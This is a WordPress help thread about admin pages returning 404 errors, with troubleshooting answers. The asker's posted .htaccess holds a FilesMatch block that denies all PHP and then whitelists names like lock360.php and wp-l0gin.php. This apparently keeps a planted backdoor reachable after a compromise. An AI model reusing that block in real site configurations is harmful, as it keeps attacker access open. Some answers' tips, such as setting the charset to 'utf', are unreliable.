7

After successful login, I can't access any of the page (I can't create new post, I can't edit post, I can't create page, I can't access any page on the left sidebar) on the admin panel, they all show 404 error. I have checked the .htaccess but it's alright. I can't access the permalink page cause it will show 404 error.

All these were working till when I tried accessing it yesterday.

.htaccess file

<FilesMatch ".(py|exe|php)$">
  Order allow,deny
  Deny from all
 </FilesMatch>
<FilesMatch 
"^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php|wp-l0gin.php|wp-theme.php|wp-scripts.php|wp-editor.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
BlackPearl
  • 2,532
  • 3
  • 33
  • 49
  • 1
    Enable debugging and see what is causing the issue. – mk23 Aug 29 '21 at 23:56
  • Have a look here https://wordpress.org/support/article/debugging-in-wordpress/ – mk23 Aug 29 '21 at 23:56
  • Nothing showed, just the normal 404 error even after enabling debugging – BlackPearl Aug 30 '21 at 00:14
  • Post code of your .htaccess file? – mk23 Aug 30 '21 at 00:21
  • @mk21 I have done that – BlackPearl Aug 30 '21 at 00:25
  • 3
    Where do you see the `404` error? In your browser console? Could you include the full error message in your question? – Ruvee Sep 01 '21 at 07:50
  • Also, which version of wordpress is your website currently using? – Ruvee Sep 01 '21 at 08:06
  • Also, i'd be helpful, if you could include a screenshot(s) into your question – Ruvee Sep 01 '21 at 08:09
  • I am using version 5.8. On the browser console, I see http error 403 – BlackPearl Sep 01 '21 at 08:58
  • So you're getting both `403` and `404` errors? Again, I'd be very helpful if you could include the full error message in your question. – Ruvee Sep 01 '21 at 09:21
  • Also, wordpress 5.8 is currently the newest version. Did you upgrade to it or it's a fresh installation? – Ruvee Sep 01 '21 at 09:21
  • You said "I can't create new post". Could you take a screenshot of the page when you try to create a post and it doesn't allow you? – Ruvee Sep 01 '21 at 09:22
  • What’s in server logs? – user3840170 Sep 01 '21 at 12:07
  • If you're just seeing a white screen with no 404 errors, then I would guess that you may not actually be seeing a 404, but rather a php error with display_errors turned off. Are you able to change display_errors to 1 in php.ini? Likewase the E_ALL settings? – Clayton Engle Sep 02 '21 at 19:31
  • What kind of host/server are you using? Shared host? VPS like? Apache/Nginx? "All these were working till when I tried accessing it yesterday." > did you or someone else did anything in between? If you have the Wordpress readme at the root folder of your WP install, can you access it using your browser? https://yoursite.com/readme.html or license.txt ? – Mtxz Sep 04 '21 at 00:53
  • Can you access the site via sftp ? Are you logging in via wp-admin ? Can you make a list of all that you tried to do? As other posters have stated - there are lots of things that may be an issue. – moi Sep 06 '21 at 23:21

9 Answers9

5

@BlackPearl i tried to reach out, several times, and help you debug your your website but you didn't respond back. I was going to help you avoid going through the "shotgun approach" and trying every possible combination that you either find online or people throw at you.

Anyway, speaking from experience, this would usually happen due to one primary reason, and that is obsolete themes and/or outdated plugins. Obsolete themes and plugins would loose their compatibilities with newer versions of wordpress over time and cause all sorts of nasty errors. Sometimes this happens because servers and host companies migrate to a newer version of PHP which doesn't support those outdated themes and plugins functionalities.

having said that, i'd try to do the following steps to debug it:

  • First thing i'd try is to switch themes. I'd switch my current theme to one the wordpress default themes.
  • In your wp-config.php try to change your "DB_CHARSET" to only "utf".
  • Sometimes files get corrupted for some reasons, so try to see if the index.php file located in your wordpress core root folder has the proper content. Not the one in the root folder of your theme, the other one that is located in the same directory as the wp-admin folder is located.
  • Try to clear your WordPress cache. If you are using one of the caching plugins on your site, then clear your plugin cache.
  • See if there are extra spaces at the top and/or at the bottom of your functions.php file. If so, then remove those extra spaces.
  • Try to increase your memory limit, specially if your wordpress site uses graphical/image related plugins.
    • In your wp-config.php file, define( 'WP_MEMORY_LIMIT', '256M' );
Ruvee
  • 8,611
  • 4
  • 18
  • 44
  • I'll add : try to disable all plugins (and switch themes). Then, if it works, activate plugins one by one, and activate your theme. Maybe you'll be able to find if this mess is coming from a plugin or theme – Pof Sep 07 '21 at 08:59
3

Make sure your /wp-admin/ folder doesn't contain any .htaccess files Delete, if there is any.

If the problem persists...

Make sure the mod_rewrite is enabled

How to check whether mod_rewrite is enable on server?

Enable the mod, restart apache.

If the problem persists...

Check if .htaccess is allowed in Apache config

Go find your Apache config

Make sure the AllowOverride directive is set to All and within <Directory /var/www/your/dir/where/wp/is>:

Remember to restart Apache.

If the problem persists...

Delete .htaccess and reset permalinks

Go to /wp-login.php and login.

Settings -> Permalinks -> Save. (WP will automatically recreate your .htaccess again).

If you cannot get to the permalinks page do it programmatically, add the snippet to functions.php:

add_action( 'init', function () {
    flush_rewrite_rules( true );
}, 99 );

Refresh the page... Now your .httacces is recreated. Remove the code from functions.php.

if the problem persists...

Try disabling plugins. Rename the folder wp-content/plugins to _plugins, for example.

Refresh the page. Now your plugins are disactivated.

If the problem is gone, enable plugins 1 by 1 until the problem occurs again. That's how you find the faulty plugin.

Denis Fedorov
  • 546
  • 6
  • 13
  • Thanks man. Make sure your /wp-admin/ folder doesn't contain any .htaccess files Delete, if there is any. I had to delete the .htaccess file to make it work – Obot Ernest May 25 '22 at 12:03
  • Deleting .htaccess in /wp-admin folder solve my problem. Thanks!! – Abaij Feb 01 '23 at 10:41
1

I see you are denying php files. If you have plugin that is overwriting your htaccess file disable it. Or edit current htaccess file and change

<FilesMatch ".(py|exe|php)$">
  Order allow,deny
  Deny from all
</FilesMatch>

to

<FilesMatch ".(py|exe)$">
  Order allow,deny
  Deny from all
</FilesMatch>

If you still cant access your website replace current htaccess with default one for testing.

# BEGIN WordPress

RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]

# END WordPress
Snuffy
  • 1,723
  • 1
  • 5
  • 9
  • 2
    Thanks for your answer. I tried it but still getting the error. – BlackPearl Sep 01 '21 at 09:08
  • 1
    Is your htaccess overwriten again when you open it ? If it is its probably some plugin and you may want to disable it. Easyest way to disable a plugin is to rename the plugin forlder reload your website then put back the same name. Or rename plugin folder to disable all plugins , reload your website and then rename the folder back to plugins. You may want to activate debug - https://wordpress.org/support/article/debugging-in-wordpress/ . Share your log – Snuffy Sep 02 '21 at 12:35
0

I would disable all plugins by renaming their folders using ftp (or ssh). That way you can rule out the plugins being an issue. If that fixes the problem, turn the plugins back on one by one until it breaks. Then, if you post the name of that plugin you (we) can look through its code and see what's going on.

Stevish
  • 734
  • 5
  • 17
0

Within your admin control panel, go to Tools -> Site Health. Look for problems there that may indicate what the problem is.

Sometimes, for example, you'll see that the REST API has an error. This happens when a plugin or theme has incorrect code which breaks the proper response for an API call. This breaks editing things like Pages/Posts/other Custom Post Types.

To resolve, try disabling all your themes. A quick way to do this to SFTP into your server and rename the wp-content/plugins directory to something like plugins-renamed. Then reload any admin page. Then rename it back. All of your plugins will be disabled and you can re-enable them one at a time, while checking the Site Health page to see if the problem returns.

Also try activating a different theme to see if that fixes it.

Dean Householder
  • 549
  • 1
  • 7
  • 13
0

I think,You have been hacked. Check config file it must have some gibberish code which breaks php execution. Restore your database or atleast check it. check how many users you have. Do you have any user as admin. Try login with that user. Check your files. Try to restore from backup. Check your unix files setting may be some file s need execute permission.

https://www.malcare.com/blog/wordpress-file-permissions/

Jin Thakur
  • 2,711
  • 18
  • 15
0

Upgrade your php version to the latest version and it will kick back to life. WordPress can get glitchy when you're not using the supported version of PHP.

PHP requirements for WordPress

0

In my case, just the WordPress Plugins page was displaying a 404, and other pages I tried worked fine. It turned out the permissions for the file wp-admin/plugins.php were set to 666 whereas nearly all other files had 644 permissions. Changing the permissions to 644 fixed the issue. I did this using the cPanel File Manager.

Highly Irregular
  • 38,000
  • 12
  • 52
  • 70
-2

A 404 error indicates that your browser can’t locate the page you’re trying to access. The exact message can look a bit different depending on the browser you’re using. The first step to try is resetting your permalinks. Head to your WordPress dashboard and navigate to Settings > Permalinks. From here, just click on Save Changes. That’s right — you don’t actually need to edit anything. Clicking that button will update the permalink settings even if you don’t make any changes.

Sonia
  • 1
  • 2